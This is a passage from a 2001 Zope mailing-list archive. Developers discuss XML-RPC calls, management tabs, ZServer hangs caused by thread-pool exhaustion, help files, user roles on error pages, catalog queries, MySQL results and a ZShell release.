<H2>Site Error</H2>\n <P>An error was encountered while publishing this resource. </P>\n <P><STRONG>Resource not found</STRONG></P> Sorry, the requested resource does not exist.<p>Check the URL and try again.<p> <!-- http://localhost:8080/anyfolder/objectIds --> <HR NOSHADE> <P>Troubleshooting Suggestions</P>\n\n <UL>\n <LI>T he URL may be incorrect.</LI>\n <LI>The parameters passed to this resource may </console> "objectIds" method is not the only one that raises an exception. When using methods inherited from class "ObjectManagerItem", it works but I got similar exception when using other methods inherited from class "ObjectManager". As mentioned in the API doc, a folder is supposed to be a subclass of "ObjectManagerItem" and "ObjectManager". Did I miss something ? Thanks in advance for any hint. From bz@bwanazulia.com Fri May 11 11:21:46 2001 From: bz@bwanazulia.com (BZ) Date: Fri, 11 May 2001 06:21:46 -0400 Subject: [Zope] Product Manage Tabs (not showing up) In-Reply-To: <009501c0da02$d520cbe0$0301a8c0@provence> References: <009501c0da02$d520cbe0$0301a8c0@provence> Message-ID: <p05100c0fb7216c938ceb@[10.0.1.25]> I have added a manage tab to a product and no matter what type of reboot, refresh, re-whatever I do I cannot seem to get the manage tab to show up. {'label': 'Advanced', 'action': 'manage_catalogAdvanced', 'target':'manage_main'}, Even if I change a name of one of the existing managed tabs, it does not show up? Anyone have any ideas? Thanks, JMA From magnus.heino@rivermen.se Fri May 11 11:25:18 2001 From: magnus.heino@rivermen.se (Magnus Heino (Rivermen)) Date: Fri, 11 May 2001 12:25:18 +0200 Subject: SV: [Zope] Product Manage Tabs (not showing up) Message-ID: <F1301BD33F9846468C35875DD3056A0F0348F9@tjernobyl.rivernet.rivermen.se> > I have added a manage tab to a product and no matter what type of > reboot, refresh, re-whatever I do I cannot seem to get the manage tab > to show up. It should look something like this in your product...: manage_options = ( {'label':'Edit', 'action':'manage_main'}, )+PropertyManager.manage_options+\ SimpleItem.manage_options manage_main above must have the right permissions also... from AccessControl import ClassSecurityInfo security = ClassSecurityInfo() security.declareProtected('View management screens', 'manage') Then your manage dtml should look something like this... <dtml-var manage_page_header> <dtml-with "_(management_view='Edit')"> <dtml-var manage_tabs> </dtml-with> <p class="form-help"> This is the edit form. </p> <dtml-var manage_page_footer> /Magnus From phil.harris@zope.co.uk Fri May 11 11:45:12 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Fri, 11 May 2001 11:45:12 +0100 Subject: [Zope] Can't get "objectIds()" (and others) from XML-RPC References: <009501c0da02$d520cbe0$0301a8c0@provence> Message-ID: <013901c0da07$77592110$5c773fc1@media1> ----- Original Message ----- From: "Gilles Lenfant" <glenfant@bigfoot.com> To: <zope@zope.org> Sent: Friday, May 11, 2001 11:12 AM Subject: [Zope] Can't get "objectIds()" (and others) from XML-RPC <snip> > "objectIds" method is not the only one that raises an exception. > When using methods inherited from class "ObjectManagerItem", it works but I > got similar exception when using other methods inherited from class > "ObjectManager". As mentioned in the API doc, a folder is supposed to be a > subclass of "ObjectManagerItem" and "ObjectManager". > > Did I miss something ? Yes, you did! The objectIds are no longer callable via a URL, they can only be called from DTML or Python (internal and external). This means that you can't call it via XML-RPC. Don't lose hope though, here's how to get around this limitation. Create an Internal Python Script in the root of Zope, with these contents: return context.objectItems() This will return the list and all will be well. You should though have some security on this method, otherwise *everybody* will see the contents on your Zope instance. > > Thanks in advance for any hint. > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From ftelist@lightwerk.com Fri May 11 12:21:08 2001 From: ftelist@lightwerk.com (Frank Tegtmeyer) Date: 11 May 2001 13:21:08 +0200 Subject: [Zope] [OT] subject headings/clarification In-Reply-To: Simon Michael's message of "09 May 2001 16:08:36 -0700" References: <Pine.LNX.4.21.0105071502130.31531-100000@localhost.localdomain> <871ypy9pfg.fsf@joyful.com> <87snie86iz.fsf@joyful.com> Message-ID: <ufae4k168r.fsf@westkapp.fte.to> Michel Pelletier <michel@digicool.com> writes: > everyone else are welcome to continue to discuss it and you don't need my > consent or permission to do so. My opinion: Putting the list name into the subject is totally redundant and ugly. Everybody who gets mailinglists will sort them into folders (at least). A mail client that is only able to filter for subjects is broken and shouldn't be used. There are many good mail clients out there, even for the Windows and Macintosh world, so there is nearly no excuse not to use them. Rigid corporate environments are out of course. Regards, Frank From Oleg Broytmann <phd@phd.fep.ru> Fri May 11 12:25:48 2001 From: Oleg Broytmann <phd@phd.fep.ru> (Oleg Broytmann) Date: Fri, 11 May 2001 15:25:48 +0400 (MSD) Subject: [Zope] [OT] subject headings/clarification In-Reply-To: <ufae4k168r.fsf@westkapp.fte.to> Message-ID: <Pine.LNX.4.33.0105111525110.32478-100000@phd.fep.ru> On 11 May 2001, Frank Tegtmeyer wrote: > Everybody who gets mailinglists will sort them into folders (at > least). A mail client that is only able to filter for subjects is > broken and shouldn't be used. And by what means you suggested to sort? Oleg. ---- Oleg Broytmann http://www.zope.org/Members/phd/ phd@phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From lists@kassube.de Fri May 11 12:42:35 2001 From: lists@kassube.de (Nils Kassube) Date: Fri, 11 May 2001 13:42:35 +0200 Subject: [Zope] [OT] subject headings/clarification In-Reply-To: <Pine.LNX.4.33.0105111525110.32478-100000@phd.fep.ru>; from phd@phd.fep.ru on Fri, May 11, 2001 at 03:25:48PM +0400 References: <ufae4k168r.fsf@westkapp.fte.to> <Pine.LNX.4.33.0105111525110.32478-100000@phd.fep.ru> Message-ID: <20010511134235.B6143@kursk.kassube.de> * Oleg Broytmann <phd@phd.fep.ru> [2001-05-11 13:25]: > And by what means you suggested to sort? By recipient (= To and Cc header) or do what I do and use the List-Id header. My procmail recipe: --cut-- :0: * ^List-Id: .*zope.zope.org in.zope --cut-- Cheers, Nils From phil.harris@zope.co.uk Fri May 11 12:53:14 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Fri, 11 May 2001 12:53:14 +0100 Subject: [Zope] Can't get "objectIds()" (and others) from XML-RPC References: <009501c0da02$d520cbe0$0301a8c0@provence> <013901c0da07$77592110$5c773fc1@media1> <039201c0da10$d0d4e900$0301a8c0@provence> Message-ID: <015101c0da10$f665c310$5c773fc1@media1> Ah, now then. You've hit some of the problems of XML-RPC here. There is no way to pass named params with XML-RPC. XMLRPC also can't handle 'None' or NIL or anything that means undefined. You could try and work around this by using a dictionary of params rather than simple params. ----- Original Message ----- From: "Gilles Lenfant" <glenfant@bigfoot.com> To: "Phil Harris" <phil.harris@zope.co.uk> Sent: Friday, May 11, 2001 12:52 PM Subject: Re: [Zope] Can't get "objectIds()" (and others) from XML-RPC > Many thanks Phil ! > It worked at first attempt ! > > Hmmm. additional question for this kind of workaround : > I need support for optional arguments in a Zope python script, just like > this in "natural python" > > def stuff(param=None): > if param: > # do it with provided param > else: > # provide default param > param = [] > > I've tried to put "param=None" in the parameter list of the zope management > screen but it seems that it remains like "None" when I provide data for the > "param"... > > This is just for using "objectIds()" and "objectIds('DTML Method')" with the > same Zope python script "myObjectIds" > > TIA again > > Gilles > > ----- Original Message ----- > From: Phil Harris > To: Gilles Lenfant ; zope@zope.org > Sent: Friday, May 11, 2001 12:45 PM > Subject: Re: [Zope] Can't get "objectIds()" (and others) from XML-RPC > > > Yes, you did! > > The objectIds are no longer callable via a URL, they can only be called from > DTML or Python (internal and external). > > This means that you can't call it via XML-RPC. > > Don't lose hope though, here's how to get around this limitation. > > Create an Internal Python Script in the root of Zope, with these contents: > > return context.objectItems() > > This will return the list and all will be well. > > You should though have some security on this method, otherwise *everybody* > will see the contents on your Zope instance. > > > > > Thanks in advance for any hint. > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From tino@wildenhain.de Fri May 11 13:01:58 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Fri, 11 May 2001 14:01:58 +0200 Subject: [Zope] ZServer Must Be Continually Re-Started: my Method to stop zope dead: In-Reply-To: <00bb01c0d9f8$6afc2480$fce3ccc1@asgard.esrin.esa.it> References: <00bb01c0d9f8$6afc2480$fce3ccc1@asgard.esrin.esa.it> Message-ID: <17074742.989589718@BUZZER> Hi Gilles, --On Freitag, 11. Mai 2001 10:57 +0200 Gilles Lavaux <gilles.lavaux@esrin.esa.it> wrote: > Hello > > This thread is going around since several years now (and zope version). > I am aware of this problem because I encounter it since zope 0.9.xxx (or > was it 1.0.xx??) :-); and I would love to have a solution... > I only use zope basic functionality: Zserver + one postgreSQL adapter > (Zpopyda at this time) and use some external methods , also some > mailhost object. No Zclass or fancy products. > > I am personally thinking that ONE of the problem is that there is no > time-out on the Zserver socket, I think that if for some reason a > request get stuck, the thread is never released. If you use all the > thread pool, your server doesn't reply anymore. Thats true. Even worser if the request ends in an external c-library (like for database-access) I believe the whole thread engine get stuck at once since the calling python instruction never ends and this way no 120 (or whatever once might have configured) instrucktions on this particular thread can be executed to go over to the next. We therefore need a solution to handle this situation ansynchronously or can give the python interpreter a proper wait state for this thread so it can continues to process the other threads. Regards Tino > Exercise (It's just a silly test I have done 5 mins ago): > - my Zserver is configured to have a pool of 4 threads > - I create en external method which loop > - I create an DTML (hang_test) method which call this external method, > then I make 4 copy ( hang_test1,hang_test2, etc..) > - from a browser I call 2 of them: > the requests get stuck as expected: I use the debug page to check them: > (I > have 2 long running threads at this time) > 1)Opened:Fri May 11 09:12:13 2001 (488.23s) > HTTP_ACCEPT_ENCODING : 'deflate, gzip, x-gzip, > identity,*;q=0'. > SERVER_PORT : '8080'. etc..... > 2)Opened:Fri May 11 09:19:54 2001 (27.81s)..... > 3)debug request. > 4)free. > > - I block the zserver by calling the other hang_test3, hang_test4 methods. > - that it. My Zope server is now bloqued since 15 minutes, I will see if > it reply again later on. > - eventualy (if I have some time) I will redo the same test using Zserver > with a timeout socket library to see if it act the same... > > please understand that this is just a demonstration, I know that doing > infinite loop is silly. In real life, one blocking condition I saw(I am > almost sure of that, just almost) was the mailhost object: In case of > empty(or bad, I don't remember) mail recipient, the request was blocking > when it was doing the sendmail. This server was dying every few days. > > - my zope server is still dead: I have requests in my browser dated from > 33 mins. > > have someone a solution? > > Gilles > > -----Original Message----- > From: Ben Ocean <zope@thewebsons.com> > To: zope@zope.org <zope@zope.org> > Date: Friday, May 11, 2001 1:50 AM > Subject: [Zope] ZServer Must Be Continually Re-Started > > >> Hi; >> I'm still having problems with ZServer quitting on me on a whim. Can >> someone help me figure out how to trouble-shoot this? I just installed >> the latest distro, so it's not the *old bug* that plagued earlier >> versions. TIA, >> BenO >> >> >> _______________________________________________ >> Zope maillist - Zope@zope.org >> http://lists.zope.org/mailman/listinfo/zope >> ** No cross posts or HTML encoding! ** >> (Related lists - >> http://lists.zope.org/mailman/listinfo/zope-announce >> http://lists.zope.org/mailman/listinfo/zope-dev ) >> > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From aschmidt@nv.cc.va.us Fri May 11 12:59:04 2001 From: aschmidt@nv.cc.va.us (Schmidt, Allen J.) Date: Fri, 11 May 2001 07:59:04 -0400 Subject: [Zope] Where are user created help files stored? Message-ID: <5CDFEBB60E7FD311B9E30000F6D6090688C035@novamail.nv.cc.va.us> On a side note I have wondered about in the past... Do help files HAVE to be attached to products? Since the help link is always available, I would like to create a help file for a FOLDER that houses all my content (DTML methods, ZSQL methods, etc.) For example, I created and maintain a Business directory of local businesses and it lives in a BusinessDirectory folder off the root. I want to create help files so that if I get 'Bussed' (run over by a bus) then those that follow me can know exactly how things are done within the 'app' - i.e. how data gets transferred in, how images are loaded, how to maintain the admin tool, etc. Would be great if the help for just this tool was context-linked to the help link in that folder. Not sure if I explained it right and maybe a simple solution. Thanks Allen -----Original Message----- From: Michel Pelletier [mailto:michel@digicool.com] Sent: Thursday, May 10, 2001 3:16 PM To: Jason Cunliffe Cc: zope@zope.org Subject: Re: [Zope] Where are user created help files stored? On Thu, 10 May 2001, Jason Cunliffe wrote: > Zope2.3.2 > Win98se/Redhat6.2 > > I am upgrading the READMEs for a simple Zope Product. > I clicked through the ZMI /Control_Panel/Products/ to add some help files. > Very nice :-) An example where TTW simple editing really makes sense. > > I added two help pages for: 'install' and 'use' easily called like this: > http://jasonic/Control_Panel/Products/BSDObject/Help/use > > Then I uploaded my Product folder to remote Linux setup. > Works fine but my help files are not there :/ Creating help topics through the web is really only meant for associating them with ZClasses (you know, the little 'help' pull down box next to ZClass views) > The principle seems obvious to me -help files belong in each Products own > folder. Yep. > Where are the help files kept? In a directory in your product named 'help'. .html, .txt, and .stx files can be created there, as well as any images you want. Help topics are associated with object views in your objects 'manage_options'. See just about any core Zope product for an example. > Various searches show lots of other help folders but not for my product. > Am I doing something wrong or is the workflow for this not yet well > developed? http://www.zope.org/DocProjects/zope_product -Michel _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Fri May 11 13:04:52 2001 From: chrism@digicool.com (Chris McDonough) Date: Fri, 11 May 2001 08:04:52 -0400 Subject: [Zope] ZServer Must Be Continually Re-Started: my Method to stop zope dead: References: <00bb01c0d9f8$6afc2480$fce3ccc1@asgard.esrin.esa.it> <3AFBB48B.8EF9584@nipltd.com> Message-ID: <3AFBD564.99F42645@digicool.com> Chris Withers wrote: > > Gilles Lavaux wrote: > > > > I am personally thinking that ONE of the problem is that there is no > > time-out on the Zserver socket, I think that if for some reason a request > > get stuck, the thread is never released. If you use all the thread pool, > > your server doesn't reply anymore. > > I'd second that... There evidently already is a timeout (according to Jim). I think it's set to 30 minutes. I'm not sure where it is. It's possible it needs to be lowered. > ChrisM: I cc'ed you on this because I have a hunch that it's something along > these lines that's causing the hangs I mentioned on zope-dev. > That said, would the python process usage drop down to nothing in the above > scenario? No... at least I don't think so... if you have a long-running method, and some joker reloads that method 5 times (because they think it'll speed things up), it will chew up five threads, and whatever processing is happening will be happening five times. It's likely that the Python process would be working hard in this scenario... unless of course the method was long-running because it was IO-bound instead of CPU-bound... did requestprofiler turn anything up for you? From tino@wildenhain.de Fri May 11 13:13:29 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Fri, 11 May 2001 14:13:29 +0200 Subject: [Zope] ZServer Must Be Continually Re-Started: my Method to stop zope dead: In-Reply-To: <3AFBD564.99F42645@digicool.com> References: <3AFBD564.99F42645@digicool.com> Message-ID: <17765962.989590409@BUZZER> Hi Chrises ;), as far I can see from code, in http_server.py there is code to clean up zombies after 30 mins timeout but only on channel creation time. If all threads are eaten up within 30 mins there is no chance to initialize a new one and so no chance to do the cleanup. May be a maintenance-thread will help a bit? Ok, this does not help on the python thread switcher get stuck on external c functions problem. Regards Tino --On Freitag, 11. Mai 2001 08:04 -0400 Chris McDonough <chrism@digicool.com> wrote: > Chris Withers wrote: >> >> Gilles Lavaux wrote: >> > >> > I am personally thinking that ONE of the problem is that there is no >> > time-out on the Zserver socket, I think that if for some reason a >> > request get stuck, the thread is never released. If you use all the >> > thread pool, your server doesn't reply anymore. >> >> I'd second that... > > There evidently already is a timeout (according to Jim). I think it's > set to 30 minutes. I'm not sure where it is. It's possible it needs to > be lowered. > >> ChrisM: I cc'ed you on this because I have a hunch that it's something >> along these lines that's causing the hangs I mentioned on zope-dev. >> That said, would the python process usage drop down to nothing in the >> above scenario? > > No... at least I don't think so... if you have a long-running method, > and some joker reloads that method 5 times (because they think it'll > speed things up), it will chew up five threads, and whatever processing > is happening will be happening five times. It's likely that the Python > process would be working hard in this scenario... unless of course the > method was long-running because it was IO-bound instead of CPU-bound... > did requestprofiler turn anything up for you? > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From chrism@digicool.com Fri May 11 13:28:08 2001 From: chrism@digicool.com (Chris McDonough) Date: Fri, 11 May 2001 08:28:08 -0400 Subject: [Zope] user roles in standard_error_message References: <5.1.0.14.0.20010511161806.00a5c7c8@getmail.adair.net> Message-ID: <3AFBDAD8.381738CE@digicool.com> Hi Danny, I think what you're running into is the fact that if a Zope method requires no authorization (as per the permission settings of the method), the security machinery shortcuts and doesn't try to authenticate. The user executing the method is always considered to be the "anonymous user". One way to fix this would be to add a different standard_error_message to the folder which contains the members-only area than the one that is in the root. Danny William Adair wrote: > > Hi! > > While customizing my standard_error_message, I ran into a little problem: > Someone with the role "Member" is logged in and tries to access a resource > that does not exist. Same could happen to someone who doesn't have that > role (Anonymous). Now I have two different style sheets for members and > non-members: A member might click on a broken link from within the > members-only area (having a... pink background), the anonymous user clicked > the same broken link from a publicly accessible area of the site (having > a... silver background). I would like to keep the different background > colors when showing my error message so I put a > > <dtml-if "AUTHENTICATED_USER.has_role('Member')"> > <dtml-var "members_css"> > <dtml-else> > <dtml-var "public_css"> > </dtml-if> > > in the head section of standard_error_message (these *_css are ZStyleSheets) > My problem is, that it's always the public_css that will show up. > > So I checked with > > <dtml-var "AUTHENTICATED_USER.getRoles()"> > > in both the members area and standard_error_message. To my surprise the > member role was gone: > > In the members area getRoles() returned > ('Member',) > > while in standard_error_message ( _.str(error_type)=='NotFound' ) it returned > ('Anonymous',) > > btw, the role is not really "lost", I can go back to the members area and > click through members-only pages without problems. > > What's happening? > This looks like buggy, naughty misbehavior :-), doesn't it? > > tia, > Danny > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From zope@thewebsons.com Fri May 11 13:12:39 2001 From: zope@thewebsons.com (Ben Ocean) Date: Fri, 11 May 2001 05:12:39 -0700 Subject: [Zope] ZServer Must Be Continually Re-Started: my Method to stop zope dead: In-Reply-To: <00bb01c0d9f8$6afc2480$fce3ccc1@asgard.esrin.esa.it> Message-ID: <5.0.2.1.0.20010511051000.00a24150@thewebsons.com> At 10:57 AM 5/11/2001 +0200, you wrote: >Hello > >This thread is going around since several years now (and zope version). >I am aware of this problem because I encounter it since zope 0.9.xxx (or was > it 1.0.xx??) :-); and I would love to have a solution... >I only use zope basic functionality: Zserver + one postgreSQL adapter > (Zpopyda at this time) and use some external methods , also some mailhost > object. No Zclass or fancy products. > >I am personally thinking that ONE of the problem is that there is no > time-out on the Zserver socket, I think that if for some reason a request > get stuck, the thread is never released. If you use all the thread pool, > your server doesn't reply anymore. Would this cause the server to quit, as if I had entered the command ./stop? Also, I could write a cron script that checks to see if Zope is alive and if not re-starts it, and I could run that script every minute if I wanted to, but that seems like a waste of resources and just plain silly. Any better ideas? BenO From Oleg Broytmann <phd@phd.fep.ru> Fri May 11 13:38:28 2001 From: Oleg Broytmann <phd@phd.fep.ru> (Oleg Broytmann) Date: Fri, 11 May 2001 16:38:28 +0400 (MSD) Subject: [Zope] [OT] subject headings/clarification In-Reply-To: <20010511134235.B6143@kursk.kassube.de> Message-ID: <Pine.LNX.4.33.0105111637440.2448-100000@phd.fep.ru> On Fri, 11 May 2001, Nils Kassube wrote: > > And by what means you suggested to sort? > > By recipient (= To and Cc header) or do what I do and use the > List-Id header. My procmail recipe: > > --cut-- > :0: > * ^List-Id: .*zope.zope.org > in.zope > --cut-- I want to put zope- and zope-announce lists into one folder, and zope-dev into another. Those [Zope] et al help me much. Oleg. ---- Oleg Broytmann http://www.zope.org/Members/phd/ phd@phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From lists@kassube.de Fri May 11 13:44:07 2001 From: lists@kassube.de (Nils Kassube) Date: Fri, 11 May 2001 14:44:07 +0200 Subject: [Zope] External method default arg weirdness In-Reply-To: <15097.41547.405033.520761@lindm.dm>; from dieter@handshake.de on Wed, May 09, 2001 at 10:02:19PM +0200 References: <15096.16266.317370.302060@lindm.dm> <3AF98B27.788D2D61@yahoo.com> <15097.41547.405033.520761@lindm.dm> Message-ID: <20010511144407.C6143@kursk.kassube.de> * Dieter Maurer <dieter@handshake.de> [2001-05-09 22:02]: > This magic works only, if the method is called with > precisely one parameter less then the required > arguments. It breaks very likely, when there are > default parameters. In this case, you need to pass > the "self" parameter explicitly and can not count on > the magic. Nice. So http://www.zope.org/Documentation/How-To/ExternalMethods is wrong in claiming that --cut-- Argument semantics for External Methods are identical to those for normal Python methods. You can define External Methods with default or keyword arguments just as you can in Python. --cut-- *sigh* Is there any decent, up-to-date information about these hidden gotchas in Zope? Cheers, Nils From sbaline@excite.com Fri May 11 13:44:49 2001 From: sbaline@excite.com (Sebal) Date: Fri, 11 May 2001 05:44:49 -0700 (PDT) Subject: [Zope] Zcatalog query Message-ID: <988883.989585089529.JavaMail.imail@loosy.excite.com> I have 2 dtml method in my Catalog folder : -----search_html---- <dtml-var standard_html_header> <form action="report" method="get"> <h2><dtml-var document_title></h2> Enter query parameters:<br><table> <tr><th>Numero doc</th> <td><input name="numero_doc" width=30 value=""></td></tr> <tr><td colspan=2 align=center> <input type="SUBMIT" name="SUBMIT" value="Submit Query"> </td></tr> </table> </form> <dtml-var standard_html_footer> -------------------- and -----report_html---- <dtml-var standard_html_header> <dtml-in Catalog size=50 start=query_start> <table border> <tr> <th>Title</th> <th>Meta type</th> <th>Id</th> <th>Summary</th> <th>Bobobase modification time</th> <th>Data record id </th> </tr> </table> <dtml-else> There was no data matching this <dtml-var title_or_id> query. </dtml-in> <dtml-var standard_html_footer> ------------------ <dtml-in Catalog size=50 start=query_start> is called in the context of "numero_doc". I'd like to know if it's possible to create a context for this query without passing by a form/submit. I thought to use <dtml-with> or <dtml-in> but I don't have the right syntax. THANX... () / \ | <> | (____) zazen rules ... SBALINE _______________________________________________________ Send a cool gift with your E-Card http://www.bluemountain.com/giftcenter/ From chrism@digicool.com Fri May 11 13:52:12 2001 From: chrism@digicool.com (Chris McDonough) Date: Fri, 11 May 2001 08:52:12 -0400 Subject: [Zope] Zcatalog query References: <988883.989585089529.JavaMail.imail@loosy.excite.com> Message-ID: <3AFBE07C.C9DC59E7@digicool.com> Sebal wrote: > > <dtml-in Catalog size=50 start=query_start> is called in the context of > "numero_doc". I'd like to know if it's possible to create a context for this > query without passing by a form/submit. > I thought to use <dtml-with> or <dtml-in> but I don't have the right syntax. > THANX... Hi... <dtml-in "Catalog(numero_doc=foo)"> ... </dtml-in> From poehnlsn@iis.fhg.de Fri May 11 13:57:48 2001 From: poehnlsn@iis.fhg.de (=?iso-8859-1?Q?Stefan_P=F6hnlein?=) Date: Fri, 11 May 2001 14:57:48 +0200 Subject: [Zope] MySQL Request delivers wrong format Message-ID: <003901c0da19$fb0329e0$0200000a@iis> This is a multi-part message in MIME format. ------=_NextPart_000_0036_01C0DA2A.BE599F40 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello, I've a problem concerning a MySQL request. When I request a data from the type Int I don't get as result just the = fihure, like e.g. 1, 2, 3, ...... but instead of that 1 L, 2 L ,..... It must be a problem of the Zope Version, or the ZMySQL Adaper, because = an older version of both works quite well, with the same MySQL Database. Does anybody know about the problem. Many thanks in advance, Stefan ------=_NextPart_000_0036_01C0DA2A.BE599F40 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Diso-8859-1" = http-equiv=3DContent-Type> <META content=3D"MSHTML 5.00.2314.1000" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV><FONT face=3DArial size=3D2>Hello,</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>I've a problem concerning a MySQL=20 request.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>When I request a data from the type Int = I don't get=20 as result just the fihure, like e.g. 1, 2, 3, ......</FONT></DIV> <DIV><FONT face=3DArial size=3D2>but instead of that 1 L, 2 L = ,.....</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>It must be a problem of the Zope = Version, or the=20 ZMySQL Adaper, because an older version of both works quite well, with = the same=20 MySQL Database.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Does anybody know about the = problem.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Many thanks in = advance,</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Stefan</FONT></DIV></BODY></HTML> ------=_NextPart_000_0036_01C0DA2A.BE599F40-- From alet@unice.fr Fri May 11 14:17:22 2001 From: alet@unice.fr (Jerome Alet) Date: Fri, 11 May 2001 15:17:22 +0200 (MET DST) Subject: [Zope] [ANN] ZShell 0.7 Message-ID: <Pine.LNX.3.96.1010511145926.31635C-100000@cortex.unice.fr> Hi, you can download ZShell 0.7 from http://cortex.unice.fr/~jerome/zshell ZShell is an external Zope method which allows you to manipulate the ZODB using standard unix shell's commands from within Zope's Management Interface in your web browser. It's a very powerful tool which can possibly destroy your ZODB's contents when not used correctly: You've been warned. Actually no security assertion is made in some methods, which are: restart, shutdown, lrole and pack. Other methods will work or exit with a message, depending on your current privileges. Actually 47 commands similar to that of a standard Unix shell are recognized (only 38 Work, the last 9 are only skeletons, see below) New features: - Command mkuf added. - Skeleton for commands added: suckfs, find, locate, replace, grep, passwd, domains, roles, history Just for people to know what will happen one day ;-) - Some code commented out in the hope to finally solve the problem many have encountered (except me !) - Commands that don't need shell expansion mechanism don't use it anymore. - A bug when using a zshell.css stylesheet was corrected. - about command output changed. Please report any problem you may encounter because I think the bug many encountered is now closed thanks to Godefroid Chapelle, but I really want to be sure to reactivate some other parts I've deactivated temporarily. Thanks in advance. Jerome Alet - alet@unice.fr From Klaus Herrmann <klaus.herrmann@goelz.com> Fri May 11 16:20:07 2001 From: Klaus Herrmann <klaus.herrmann@goelz.com> (Klaus Herrmann) Date: 11 May 2001 15:20:07 CEST Subject: [Zope] addtional property in dtml-tree? Message-ID: <200105111322.f4BDMfo94245@mail.goelz.com> Hi! I have the following problem: i have a dtml-tree listing the directory structure. but i want to be able to define a property called "hidden" (bool) on folders. these hidden folders mustn't appear in the tree. any ideas how this could be done? thank in advance! regards, Klaus -- Klaus Herrmann <klaus.herrmann@goelz.com> Goelz & Schwarz GmbH, Munich www.goelz.com phone:+49 - (0)89 - 544 67 0 22 fax: +49 - (0)89 - 544 67 0 10 From tino@wildenhain.de Fri May 11 14:25:35 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Fri, 11 May 2001 15:25:35 +0200 Subject: zope hangs vs: Re: [Zope] ZServer Must Be Continually Re-Started: my Method to stop zope dead: In-Reply-To: <5.0.2.1.0.20010511051000.00a24150@thewebsons.com> References: <5.0.2.1.0.20010511051000.00a24150@thewebsons.com> Message-ID: <4063761.989594735@BUZZER> Hi Ben, no this is completly different to your problem. Dont know why these threads are intermixed. The problem below is zope not responding to requests but still beeing running. Your problem is different: zope stops running instantly. So I expect something in your environment and/or python version. Do you have a plain install or did you install additionally products with zope? Regards Tino Wildenhain --On Freitag, 11. Mai 2001 05:12 -0700 Ben Ocean <zope@thewebsons.com> wrote: > At 10:57 AM 5/11/2001 +0200, you wrote: >> Hello >> >> This thread is going around since several years now (and zope version). >> I am aware of this problem because I encounter it since zope 0.9.xxx (or >> was it 1.0.xx??) :-); and I would love to have a solution... >> I only use zope basic functionality: Zserver + one postgreSQL adapter >> (Zpopyda at this time) and use some external methods , also some >> mailhost object. No Zclass or fancy products. >> >> I am personally thinking that ONE of the problem is that there is no >> time-out on the Zserver socket, I think that if for some reason a >> request get stuck, the thread is never released. If you use all the >> thread pool, your server doesn't reply anymore. > > Would this cause the server to quit, as if I had entered the command > ./stop? Also, I could write a cron script that checks to see if Zope is > alive and if not re-starts it, and I could run that script every minute > if I wanted to, but that seems like a waste of resources and just plain > silly. Any better ideas? > BenO > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From gilles.lavaux@esrin.esa.it Fri May 11 14:33:58 2001 From: gilles.lavaux@esrin.esa.it (Gilles Lavaux) Date: Fri, 11 May 2001 15:33:58 +0200 Subject: [Zope] ZServer Must Be Continually Re-Started: my Method to stop zope dead: timeoutsocket: Message-ID: <014601c0da1f$092f25a0$fce3ccc1@asgard.esrin.esa.it> Hello, I have try using the timeoutsocket library, by inserting this inside the z2.py : sockettimeout=60 import timeoutsocket timeoutsocket.setDefaultSocketTimeout(sockettimeout) Still get the same result: it hang. And it's probably normal. Gilles From tim@freepm.org Fri May 11 14:33:26 2001 From: tim@freepm.org (Tim Cook) Date: Fri, 11 May 2001 08:33:26 -0500 Subject: [Zope] addtional property in dtml-tree? References: <200105111322.f4BDMfo94245@mail.goelz.com> Message-ID: 